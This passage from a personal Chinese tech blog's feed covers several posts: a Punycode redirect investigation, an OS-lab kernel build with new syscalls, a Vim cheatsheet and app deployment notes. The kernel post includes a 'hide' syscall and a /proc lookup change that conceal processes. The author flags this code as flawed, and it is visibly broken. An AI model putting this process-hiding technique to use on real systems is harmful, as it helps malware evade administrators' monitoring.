<li>重定向,访问网站的时候，服务器返回一个重定向的网址。</li>
<li>DNS解析的时候就解析到了中科大的网站,比如：
<table>
<thead>
<tr>
<th>SUBDOMAIN</th>
<th>TYPE</th>
<th>VALUE</th>
<th>TTL, SEC</th>
</tr>
</thead>
<tbody>
<tr>
<td>@</td>
<td>CNAME</td>
<td>ustc.edu.cn</td>
<td>86400</td>
</tr>
</tbody>
</table>
</li>
</ul>
<h2 id="过程">过程</h2>
<ol>
<li>
<p>我很自然地想到，跳转嘛，我把网速限制得慢点就能看到没跳转前的了。这可以用浏览器自带的开发者工具来做。但无果。</p>
</li>
<li>
<p>我用<code>whois</code>查了下这个域名，得到</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">eu:~$ whois 玩原神玩的.com
</span></span><span class="line"><span class="cl">Domain Name: XN--8MR985EBA830AIYE.COM
</span></span><span class="line"><span class="cl">Registry Domain ID: 2822210486_DOMAIN_COM-VRSN
</span></span><span class="line"><span class="cl">...
</span></span></code></pre></div></li>
<li>
<p>这时候我以为这里的<code>XN--8MR985EBA830AIYE.COM</code>会是突破口，但查了下才知道：这是使用了<a href="https://www.wikiwand.com/en/Internationalized_domain_name"  target="_blank" rel="noopener" >国际化域名</a>，而<code>XN--8MR985EBA830AIYE.COM</code>是<code>玩原神玩的.com</code>的<a href="https://www.wikiwand.com/en/Punycode"  target="_blank" rel="noopener" >Punycode编码</a>。</p>
</li>
<li>
<p>看<a href="https://www.bilibili.com/read/cv27389269/"  target="_blank" rel="noopener" >【教程向】如何让 www.xx原神大学.com 跳转到你的学校的官网 - 哔哩哔哩</a>，它这里是用的第一种。但我需要验证<a href="%e7%8e%a9%e5%8e%9f%e7%a5%9e%e7%8e%a9%e7%9a%84.com" >玩原神玩的.com</a>也是用的方法。</p>
</li>
<li>
<p>尝试<code>traceroute</code>,没看出什么结果：</p>
</li>
<li>
<p>使用<code>curl -I</code>,结果如下</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">eu:~$ curl -I 玩原神玩的.com
</span></span><span class="line"><span class="cl">HTTP/1.1 <span class="m">301</span> Moved Permanently
</span></span><span class="line"><span class="cl">Connection: close
</span></span><span class="line"><span class="cl">Connection: keep-alive
</span></span><span class="line"><span class="cl">Content-Type: text/html<span class="p">;</span> <span class="nv">charset</span><span class="o">=</span>UTF-8
</span></span><span class="line"><span class="cl">Date: Thu, <span class="m">04</span> Jan <span class="m">2024</span> 14:18:59 GMT
</span></span><span class="line"><span class="cl">Keep-Alive: <span class="nv">timeout</span><span class="o">=</span><span class="m">4</span>
</span></span><span class="line"><span class="cl">Location: http://ustc.edu.cn
</span></span><span class="line"><span class="cl">Proxy-Connection: keep-alive
</span></span><span class="line"><span class="cl">Server: nginx
</span></span><span class="line"><span class="cl">Strict-Transport-Security: max-age<span class="o">=</span>0<span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">eu:~$ curl -I 中国科学技术大学.com
</span></span><span class="line"><span class="cl">HTTP/1.1 <span class="m">302</span> Found
</span></span><span class="line"><span class="cl">Connection: close
</span></span><span class="line"><span class="cl">Connection: keep-alive
</span></span><span class="line"><span class="cl">Date: Thu, <span class="m">04</span> Jan <span class="m">2024</span> 14:19:43 GMT
</span></span><span class="line"><span class="cl">Keep-Alive: <span class="nv">timeout</span><span class="o">=</span><span class="m">4</span>
</span></span><span class="line"><span class="cl">Location: https://ys.mihoyo.com/
</span></span><span class="line"><span class="cl">Proxy-Connection: keep-alive
</span></span><span class="line"><span class="cl">Server: namecheap-nginx
</span></span><span class="line"><span class="cl">X-Served-By: Namecheap URL Forward
</span></span></code></pre></div><p>这里验证了我的猜想，两个域名都是用的第一种方法。</p>
</li>
</ol>
<h2 id="解答">解答</h2>
<p>现在就能回答一开始的问题了:</p>
<ol>
<li>
<p>为什么访问<a href="%e7%8e%a9%e5%8e%9f%e7%a5%9e%e7%8e%a9%e7%9a%84.com" >玩原神玩的.com</a>会变成<a href="https://www.ustc.edu.cn/"  target="_blank" rel="noopener" >中国科学技术大学</a>?</p>
<p>因为对<a href="%e7%8e%a9%e5%8e%9f%e7%a5%9e%e7%8e%a9%e7%9a%84.com" >玩原神玩的.com</a>的所有请求都被重定向到了<a href="https://www.ustc.edu.cn/"  target="_blank" rel="noopener" >中国科学技术大学</a>对应的网站服务器。</p>
</li>
<li>
<p>为什么dns查询上面查出来地址是<code>75.126.101.233</code>，而且无法访问？</p>
<p>因为<code>75.126.101.233</code>是<a href="%e7%8e%a9%e5%8e%9f%e7%a5%9e%e7%8e%a9%e7%9a%84.com" >玩原神玩的.com</a>对应的ip，这个域名并没有自己对应的服务器,请求都被重定向掉了。而真正的<a href="https://www.ustc.edu.cn/"  target="_blank" rel="noopener" >中国科学技术大学</a>的ip是<code>202.141.176.6</code>。</p>
</li>
</ol>
<h2 id="总结">总结</h2>
<p>我之前以为自己已经了解其原理，所以没有多想。</p>
<p>但这次真正去了解后还是能收获些新知识的。比如国际化域名，Punycode编码等。</p>
<h2 id="吐槽">吐槽</h2>
<ul>
<li>我一开始还以为<a href="%e4%b8%ad%e5%9b%bd%e7%a7%91%e5%ad%a6%e6%8a%80%e6%9c%af%e5%a4%a7%e5%ad%a6.com" >中国科学技术大学.com</a>是属于学校官方的，还以为是用到了什么黑科技才做到让它跳转到<a href="https://ys.mihoyo.com/"  target="_blank" rel="noopener" >《原神》官方网站</a>的。但现在看来，并不是。这让我有些失望。</li>
<li>写这篇的时候我尝试让Copilot做自动补全，是能有些帮助，但还是不习惯，会有种自己的思路被带着走的感觉。我不喜欢这种感觉，于是关掉了。</li>
</ul>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://www.bilibili.com/read/cv27389269/"  target="_blank" rel="noopener" >【教程向】如何让 www.xx原神大学.com 跳转到你的学校的官网 - 哔哩哔哩</a></li>
<li><a href="https://www.wikiwand.com/en/Internationalized_domain_name"  target="_blank" rel="noopener" >Internationalized domain name - Wikiwand</a></li>
<li><a href="https://www.wikiwand.com/en/Punycode"  target="_blank" rel="noopener" >Punycode - Wikiwand</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>Linux内核编译</title>
      <link>https://ds63.eu.org/2023/compile-the-linux-kernel/</link>
      <pubDate>Thu, 14 Dec 2023 17:07:22 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2023/compile-the-linux-kernel/</guid>
      <description>记一次操作系统实验</description>
      <content:encoded><![CDATA[<h2 id="步骤">步骤</h2>
<ol>
<li>在<a href="https://www.kernel.org/"  target="_blank" rel="noopener" >The Linux Kernel Archives</a>下载所需的内核代码</li>
<li>解压缩 <code>tar xvf linux-5.10.203.tar.xz</code> （以linux-5.10.203.tar.xz为例）</li>
<li><code>cd linux-5.10.203</code></li>
<li><code>cp -v /boot/config-$(uname -r) .config</code></li>
<li><code>make menuconfig</code> 进行配置</li>
<li><code>make -j$(nproc) 2&gt; error.log</code>  并发编译,并记录错误信息</li>
<li><code>make modules</code></li>
<li><code>make modules_install</code></li>
<li><code>make install</code></li>
<li><code>reboot</code></li>
<li>在GRUB菜单选择编译好的内核</li>
<li>可使用<code>uname -r</code> 查看内核版本，进行验证</li>
</ol>
<hr>
<h2 id="脚本">脚本</h2>
<p>我编写了一个脚本，用于自动化内核编译</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-Makefile" data-lang="Makefile"><span class="line"><span class="cl"><span class="c">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="c"></span>
</span></span><span class="line"><span class="cl"><span class="c"># 设置在出现错误或使用未定义的变量时立即退出
</span></span></span><span class="line"><span class="cl"><span class="c"></span><span class="err">set</span> <span class="err">-e</span>
</span></span><span class="line"><span class="cl"><span class="err">set</span> <span class="err">-u</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># 获取当前时间戳
</span></span></span><span class="line"><span class="cl"><span class="c"></span><span class="nv">timestamp</span><span class="o">=</span><span class="k">$(</span>date +<span class="s2">&#34;%Y%m%d%H%M%S&#34;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># 配置内核
</span></span></span><span class="line"><span class="cl"><span class="c"># make menuconfig
</span></span></span><span class="line"><span class="cl"><span class="c"></span>
</span></span><span class="line"><span class="cl"><span class="c"># 创建日志文件，带有时间戳
</span></span></span><span class="line"><span class="cl"><span class="c"></span><span class="nv">log_file</span><span class="o">=</span><span class="s2">&#34;compile_log_</span><span class="si">${</span><span class="nv">timestamp</span><span class="si">}</span><span class="s2">.txt&#34;</span>
</span></span><span class="line"><span class="cl"><span class="err">touch</span> <span class="s2">&#34;$log_file&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># 编译内核，将标准错误输出记录到日志文件并显示在终端
</span></span></span><span class="line"><span class="cl"><span class="c"></span><span class="err">make</span> <span class="err">-j</span><span class="k">$(</span><span class="nv">nproc</span><span class="k">)</span> <span class="nv">INCREMENTAL</span><span class="o">=</span><span class="m">1</span> 2&gt; &gt;<span class="o">(</span>tee -a <span class="s2">&#34;</span><span class="nv">$log_file</span><span class="s2">&#34;</span> &gt;<span class="p">&amp;</span>2<span class="o">)</span> <span class="o">||</span> <span class="o">{</span> <span class="nb">echo</span> <span class="s2">&#34;Make failed&#34;</span><span class="p">;</span> <span class="nb">exit</span> 1<span class="p">;</span> <span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># 编译内核模块
</span></span></span><span class="line"><span class="cl"><span class="c"></span><span class="err">make</span> <span class="err">modules</span> <span class="err">2&gt;</span> <span class="err">&gt;(tee</span> <span class="err">-a</span> <span class="s2">&#34;$log_file&#34;</span> <span class="err">&gt;&amp;2)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># 安装内核模块
</span></span></span><span class="line"><span class="cl"><span class="c"></span><span class="err">make</span> <span class="err">modules_install</span> <span class="err">2&gt;</span> <span class="err">&gt;(tee</span> <span class="err">-a</span> <span class="s2">&#34;$log_file&#34;</span> <span class="err">&gt;&amp;2)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># 安装内核
</span></span></span><span class="line"><span class="cl"><span class="c"></span><span class="err">make</span> <span class="err">install</span> <span class="err">2&gt;</span> <span class="err">&gt;(tee</span> <span class="err">-a</span> <span class="s2">&#34;$log_file&#34;</span> <span class="err">&gt;&amp;2)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># 更新 GRUB 配置（如果使用 GRUB 引导）
</span></span></span><span class="line"><span class="cl"><span class="c"># update-grub 2&gt; &gt;(tee -a &#34;$log_file&#34; &gt;&amp;2)
</span></span></span></code></pre></div><hr>
<h2 id="添加新的系统调用">添加新的系统调用</h2>
<h3 id="hello">hello</h3>
<p><strong>方法一：</strong></p>
<ol>
<li>编辑arch/x86/entry/syscalls/syscall_64.tbl,添加
<code>441     64      hello                   sys_hello</code></li>
<li>在include/linux/syscalls.h中添加函数声明
<pre tabindex="0"><code>/* test */
asmlinkage long sys_hello(void);
</code></pre></li>
<li>在kernel/sys.c中末尾添加如下代码
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cm">/* test */</span>
</span></span><span class="line"><span class="cl"><span class="nf">SYSCALL_DEFINE0</span><span class="p">(</span><span class="n">hello</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printk</span><span class="p">(</span><span class="s">&#34;hello,world! </span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
</ol>
<p><strong>方法二：</strong></p>
<p>摘自<a href="https://dev.to/omergulen/how-to-add-system-call-syscall-to-the-kernel-compile-and-test-it-3e6p"  target="_blank" rel="noopener" >How to add system call (syscall) to the kernel, compile and test it? - DEV Community</a></p>
<ol>
<li>在<code>/usr/src/linux-5.15.142</code>建立新文件夹(以linux-5.15.142为例)
<code>mkdir hello &amp;&amp; cd hello</code></li>
<li><code>vim hello.c</code></li>
</ol>
<pre tabindex="0"><code>#include &lt;linux/kernel.h&gt;

asmlinkage long sys_hello(void) 
{
        //printk prints to the kernel’s log file.
        printk(&#34;Hello world\n&#34;);
        return 0;
}
</code></pre><ol start="3">
<li><code>vim Makefile</code></li>
</ol>
<pre tabindex="0"><code>obj-y := hello.o
</code></pre><ol start="4">
<li>go to the parent directory (kernel source main directory)</li>
<li>add our new syscall directory to Makefile,search for core-y,and add hello/ to the end of this line.</li>
<li>同方法一第一步</li>
<li>同方法一第二步</li>
</ol>
<h3 id="hide">hide</h3>
<ol>
<li>编辑include/linux/sched.h 文件，在task_struct新增</li>
</ol>
<pre tabindex="0"><code>        /* wyd: store the old pidS */
        pid_t old_pid;

        /* wyd: 0:hide */
        int hide;
</code></pre><ol start="2">
<li>修改kernel/fork.c中的copy_process函数</li>
</ol>
<pre tabindex="0"><code>        /* wyd: init the append values */
        p-&gt;hide =0;
        p-&gt;old_pid = p-&gt;pid;
</code></pre><ol start="3">
<li>编辑arch/x86/entry/syscalls/syscall_64.tbl,添加
<code>442     common  hide                    sys_hide</code></li>
<li>在include/linux/syscalls.h中添加函数声明</li>
</ol>
<pre tabindex="0"><code>asmlinkage int sys_hide(pid_t pid,int on);
</code></pre><ol start="5">
<li>在kernel/sys.c中末尾添加如下代码</li>
</ol>
<p><strong>此代码有问题，仅作为示例</strong></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="nf">SYSCALL_DEFINE2</span><span class="p">(</span><span class="n">hide</span><span class="p">,</span><span class="kt">pid_t</span><span class="p">,</span><span class="n">pid</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span><span class="n">on</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">struct</span> <span class="n">task_struct</span> <span class="o">*</span><span class="n">p</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">struct</span> <span class="n">task_struct</span> <span class="o">*</span><span class="n">me</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">p</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">init_task</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">do</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span><span class="p">(</span><span class="n">p</span><span class="o">-&gt;</span><span class="n">old_pid</span> <span class="o">==</span> <span class="n">pid</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="n">me</span> <span class="o">=</span> <span class="n">p</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span><span class="k">while</span><span class="p">((</span><span class="n">p</span> <span class="o">=</span> <span class="nf">next_task</span><span class="p">(</span><span class="n">p</span><span class="p">))</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">p</span><span class="o">!=</span> <span class="o">&amp;</span><span class="n">init_task</span><span class="p">))</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">current</span><span class="o">-&gt;</span><span class="n">uid</span> <span class="o">!=</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">me</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">on</span> <span class="o">==</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="n">me</span><span class="o">-&gt;</span><span class="n">pid</span> <span class="o">=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="n">me</span><span class="o">-&gt;</span><span class="n">hide</span> <span class="o">=</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span><span class="p">(</span><span class="n">me</span><span class="o">-&gt;</span><span class="n">hide</span> <span class="o">==</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="n">me</span><span class="o">-&gt;</span><span class="n">pid</span> <span class="o">=</span> <span class="n">me</span><span class="o">-&gt;</span><span class="n">old_pid</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                        <span class="n">me</span><span class="o">-&gt;</span><span class="n">hide</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ol>
<li>修改fs/proc/base.c中proc_pid_lookup的代码，添加</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">task</span><span class="o">-&gt;</span><span class="n">hide</span><span class="o">==</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">goto</span> <span class="n">out</span><span class="p">;</span>
</span></span></code></pre></div><hr>
<h2 id="grub">GRUB</h2>
<h3 id="默认启动的内核">默认启动的内核</h3>
<ol>
<li>打开 GRUB 配置文件：
<code>sudo vim /etc/default/grub</code></li>
<li>找到 GRUB_DEFAULT 行，并更改其值为你想要设置的默认内核的索引,保存并关闭。如
<code>GRUB_DEFAULT=2</code></li>
<li>更新 GRUB 配置
<code>sudo update-grub</code></li>
</ol>
<hr>
<h2 id="报错及解决">报错及解决</h2>
<h3 id="缺少xxx工具">缺少xxx工具</h3>
<p>可以在编译之前先安装编译所需要的所有工具
<code>sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils libssl-dev bc flex libelf-dev bison</code></p>
<h3 id="no-rule-to-make-target-debiancertsdebian-uefi-certspem">No rule to make target &lsquo;debian/certs/debian-uefi-certs.pem</h3>
<p>我参考了<a href="https://stackoverflow.com/questions/67670169/compiling-kernel-gives-error-no-rule-to-make-target-debian-certs-debian-uefi-ce"  target="_blank" rel="noopener" >Stack Overflow上的回答</a>，执行以下两条命令</p>
<pre tabindex="0"><code>sudo scripts/config --disable SYSTEM_TRUSTED_KEYS
sudo scripts/config --disable SYSTEM_REVOCATION_KEYS
</code></pre><h3 id="sed-cant-read-modulesorder-no-such-file-or-directory">sed: can&rsquo;t read modules.order: No such file or directory</h3>
<p>参考<a href="https://forums.gentoo.org/viewtopic-p-8686340.html?sid=5a87359186073a04049d6fc85eb51c32"  target="_blank" rel="noopener" >Gentoo Forums :: 阅读主题 - sed: can&rsquo;t read modules.order: No such file or directory</a></p>
<p>发现原来是刚才的<code>make -j$(nproc)</code>指令并没有执行成功。</p>
<h3 id="no-space-left-to-place">No space left to place</h3>
<p>我的选择是重装虚拟机，在设置的时候加大硬盘</p>
<p>看到两篇似乎可行的操作</p>
<ul>
<li><a href="https://blog.csdn.net/m0_61549260/article/details/129751313"  target="_blank" rel="noopener" >编译内核时，磁盘爆满的问题-CSDN博客</a></li>
</ul>
<h3 id="btf-tmp_vmlinuxbtf-pahole-pahole-is-not-available">BTF: .tmp_vmlinux.btf: pahole (pahole) is not available</h3>
<p>参考<a href="https://stackoverflow.com/questions/61657707/btf-tmp-vmlinux-btf-pahole-pahole-is-not-available"  target="_blank" rel="noopener" >compilation - BTF: .tmp_vmlinux.btf: pahole (pahole) is not available - Stack Overflow</a></p>
<p><code>sudo apt install dwarves</code></p>
<h3 id="warning-os-prober-will-not-be-executed-to-detect-other-bootable-partitions">Warning: os-prober will not be executed to detect other bootable partitions.</h3>
<ul>
<li>具体描述：
<code>make install</code>最后得到，
<pre tabindex="0"><code>Warning: os-prober will not be executed to detect other bootable partitions.
Systems on them will not be added to the GRUB boot configuration.
Check GRUB_DISABLE_OS_PROBER documentation entry.
done
</code></pre>看网上的教程，这时候直接重启就可以进到GRUB菜单，但我没有。原因应该是以上导致的。</li>
<li>解决：
我的解决方法是在电脑开机的时候(出现操作系统的开机画面之前)，按F4键进入GRUB菜单</li>
</ul>
<h3 id="vmware开启了共享文件夹却不显示">VMware开启了共享文件夹却不显示</h3>
<p>在/mnt 文件夹下执行
<code>vmhgfs-fuse /mnt/hgfs</code></p>
<hr>
<h2 id="参考链接">参考链接</h2>
<ul>
<li><a href="https://blog.csdn.net/lingshengxueyuan/article/details/117597019"  target="_blank" rel="noopener" >Linux内核编译很简单，6步编译一个自己的内核_0基础编译内核教程-CSDN博客</a></li>
<li><a href="https://stackoverflow.com/questions/67670169/compiling-kernel-gives-error-no-rule-to-make-target-debian-certs-debian-uefi-ce"  target="_blank" rel="noopener" >linux - Compiling kernel gives error No rule to make target &lsquo;debian/certs/debian-uefi-certs.pem&rsquo; - Stack Overflow</a></li>
<li><a href="https://forums.gentoo.org/viewtopic-p-8686340.html?sid=5a87359186073a04049d6fc85eb51c32"  target="_blank" rel="noopener" >Gentoo Forums :: 阅读主题 - sed: can&rsquo;t read modules.order: No such file or directory</a></li>
<li><a href="https://blog.csdn.net/weixin_51480590/article/details/127776698"  target="_blank" rel="noopener" >Linux内核编译_linux内核编译后多大-CSDN博客</a></li>
<li><a href="https://blog.csdn.net/weixin_51480590/article/details/127767660"  target="_blank" rel="noopener" >Ubuntu磁盘扩充_ubuntu扩展磁盘空间-CSDN博客</a></li>
<li><a href="https://unix.stackexchange.com/questions/534596/hiding-processes-on-unix-linux"  target="_blank" rel="noopener" >process - Hiding processes on Unix/Linux - Unix &amp; Linux Stack Exchange</a></li>
<li><a href="https://nickdesaulniers.github.io/blog/2018/06/02/speeding-up-linux-kernel-builds-with-ccache/"  target="_blank" rel="noopener" >Speeding Up Linux Kernel Builds With ccache</a></li>
<li><a href="https://dev.to/omergulen/how-to-add-system-call-syscall-to-the-kernel-compile-and-test-it-3e6p"  target="_blank" rel="noopener" >How to add system call (syscall) to the kernel, compile and test it? - DEV Community</a></li>
<li><a href="https://www.kernel.org/doc/html/v4.10/process/adding-syscalls.html"  target="_blank" rel="noopener" >Adding a New System Call — The Linux Kernel documentation</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>Vim常用命令</title>
      <link>https://ds63.eu.org/2023/vim_cheatsheet/</link>
      <pubDate>Wed, 29 Nov 2023 23:15:49 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2023/vim_cheatsheet/</guid>
      <description>a cheatsheet of vim commands</description>
      <content:encoded><![CDATA[<h2 id="vim">Vim</h2>
<h3 id="另存为">另存为</h3>
<ul>
<li><code>:saveas ~/some/path/</code>: save your file to that locationvim</li>
</ul>
<h3 id="查找">查找</h3>
<ul>
<li>光标停留在想要查找的单词的任意一个字母上面， 然后输入<code>Shift</code> + <code>*</code>  ，即可快速选中该单词，并且可以通过 n  或  N 进行上一个或下一个的匹配。</li>
</ul>
<h3 id="cmd模式">cmd模式</h3>
<ul>
<li><code>:!cmd </code> execute a shell command from within Vim
<ul>
<li><code>!gcc %</code> 编译</li>
<li><code>!xxd</code>  将当前文件转换为十六进制表示并显示在终端中</li>
<li><code>%!xxd</code> 将当前文件的内容通过管道传递给外部命令xxd，并将其输出替换为当前文件的内容</li>
</ul>
</li>
<li><code>:set nu</code> 显示行号</li>
<li><code>:set wrap</code></li>
<li><code>:%!grep execve</code></li>
<li><code>:%! grep -v ENOENT</code></li>
<li><code>:%s/term/another_term/g </code> 替换</li>
</ul>
<hr>
<h2 id="浏览器-vimium">浏览器 vimium</h2>
<ol>
<li>标记
<ul>
<li><code>m</code> + <code>m</code> 创建一个新的标记</li>
<li>```+<code>m</code> 跳转到标记的位置</li>
</ul>
</li>
<li><code>g</code>
<ul>
<li><code>g</code> + <code>u</code> 访问当前网址的上一层（目录的上一层）</li>
<li><code>g</code> + <code>U</code> 访问当前网址的首页</li>
</ul>
</li>
<li>标签页</li>
</ol>
<ul>
<li><code>x</code> 关闭标签页</li>
<li><code>X</code> 恢复最近关闭的标签页</li>
</ul>
<hr>
<h2 id="vscode插件vim">vscode插件Vim</h2>
<h3 id="注释">注释</h3>
<ul>
<li>g + c 单行注释</li>
<li>g + C 多行注释</li>
</ul>
<h3 id="宏使用">宏使用</h3>
<ol>
<li>在normal模式下输入qa(当然也可以输入qb, qc, etc，这里的a, b, c是指寄存器名称，vim会把录制好的宏放在这个寄存器中)</li>
<li>录制操作</li>
<li>normal模式下输入q，结束宏录制。</li>
</ol>
<h3 id="跳转">跳转</h3>
<ul>
<li><code>%</code> 跳转到与当前括号所匹配的位置</li>
<li><code>f&lt;</code>  Jump forward and land on the <code>&lt;</code> character</li>
<li><code>t&gt;</code>  Jump forward and land right before the <code>&lt;</code> character</li>
</ul>
<hr>
<h2 id="杂">杂</h2>
<h3 id="vim-life">Vim Life</h3>
<p>看<a href="https://normalmo.de/vimlife/#footnotereturn3"  target="_blank" rel="noopener" >Vim Life - Normal Mode</a>，作者使用macro，实现了一个生命游戏。</p>
<h3 id="esc的替代">esc的替代</h3>
<ul>
<li>默认的代替Esc键的组合键是CTRL C 或者 Ctrl+[</li>
</ul>
<h2 id="参考链接">参考链接</h2>
<ul>
<li><a href="https://github.com/mudi24/keyborad-man/tree/main/%E6%B5%8F%E8%A7%88%E5%99%A8"  target="_blank" rel="noopener" >mudi24/keyborad-man</a></li>
<li><a href="https://www.cnblogs.com/ini_always/archive/2011/09/21/2184446.html"  target="_blank" rel="noopener" >vim重复操作的宏录制 - ini_always - 博客园</a></li>
<li><a href="https://danielmiessler.com/p/vim/"  target="_blank" rel="noopener" >Learn Vim For the Last Time</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>“一本好书”部署记录</title>
      <link>https://ds63.eu.org/2023/%E4%B8%80%E6%9C%AC%E5%A5%BD%E4%B9%A6%E9%83%A8%E7%BD%B2%E8%AE%B0%E5%BD%95/</link>
      <pubDate>Mon, 30 Oct 2023 00:50:12 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2023/%E4%B8%80%E6%9C%AC%E5%A5%BD%E4%B9%A6%E9%83%A8%E7%BD%B2%E8%AE%B0%E5%BD%95/</guid>
      <description>记录&amp;quot;一本好书&amp;quot;部署的过程</description>
      <content:encoded><![CDATA[<h2 id="说明">说明</h2>
<ul>
<li>前端仓库地址： <a href="https://github.com/EuDs63/BookRecommend_Front"  target="_blank" rel="noopener" >BookRecommend_Front</a></li>
<li>后端仓库地址<a href="https://github.com/EuDs63/BookRecommend_Back"  target="_blank" rel="noopener" >BookRecommend_Back</a></li>
</ul>
<h2 id="mysql">MySQL</h2>
<ol>
<li>安装
<a href="https://dev.mysql.com/doc/mysql-apt-repo-quick-guide/en/"  target="_blank" rel="noopener" >MySQL :: A Quick Guide to Using the MySQL APT Repository</a>
<code>systemctl status mysql</code></li>
<li>登录 <code>mysql -u root -p</code></li>
<li>建表</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-mysql" data-lang="mysql"><span class="line"><span class="cl"><span class="k">show</span><span class="w"> </span><span class="k">databases</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">CREATE</span><span class="w"> </span><span class="k">DATABASE</span><span class="w"> </span><span class="n">book_recommend</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">USE</span><span class="w"> </span><span class="n">book_recommend</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="n">source</span><span class="w"> </span><span class="o">/</span><span class="n">path</span><span class="o">/</span><span class="k">to</span><span class="o">/</span><span class="n">your_script</span><span class="p">.</span><span class="k">sql</span><span class="p">;</span><span class="w"> </span><span class="c1">#建库脚本
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">show</span><span class="w"> </span><span class="kp">tables</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">describe</span><span class="w"> </span><span class="n">table_name</span><span class="p">;</span><span class="w">
</span></span></span></code></pre></div><h2 id="flask">Flask</h2>
<h3 id="设置生产服务器">设置生产服务器</h3>
<ol>
<li>安装Gunicorn <code>pip install gunicorn</code></li>
<li>安装相关依赖 <code>pip install -r requirements.txt</code></li>
<li>测试运行<code>gunicorn -w 4 -b 127.0.0.1:5000 'app:app' --access-logfile=-</code> (显示日志)</li>
<li>测试成功后</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">mkdir logs
</span></span><span class="line"><span class="cl"><span class="c1"># 后台运行，日志输出在文件中</span>
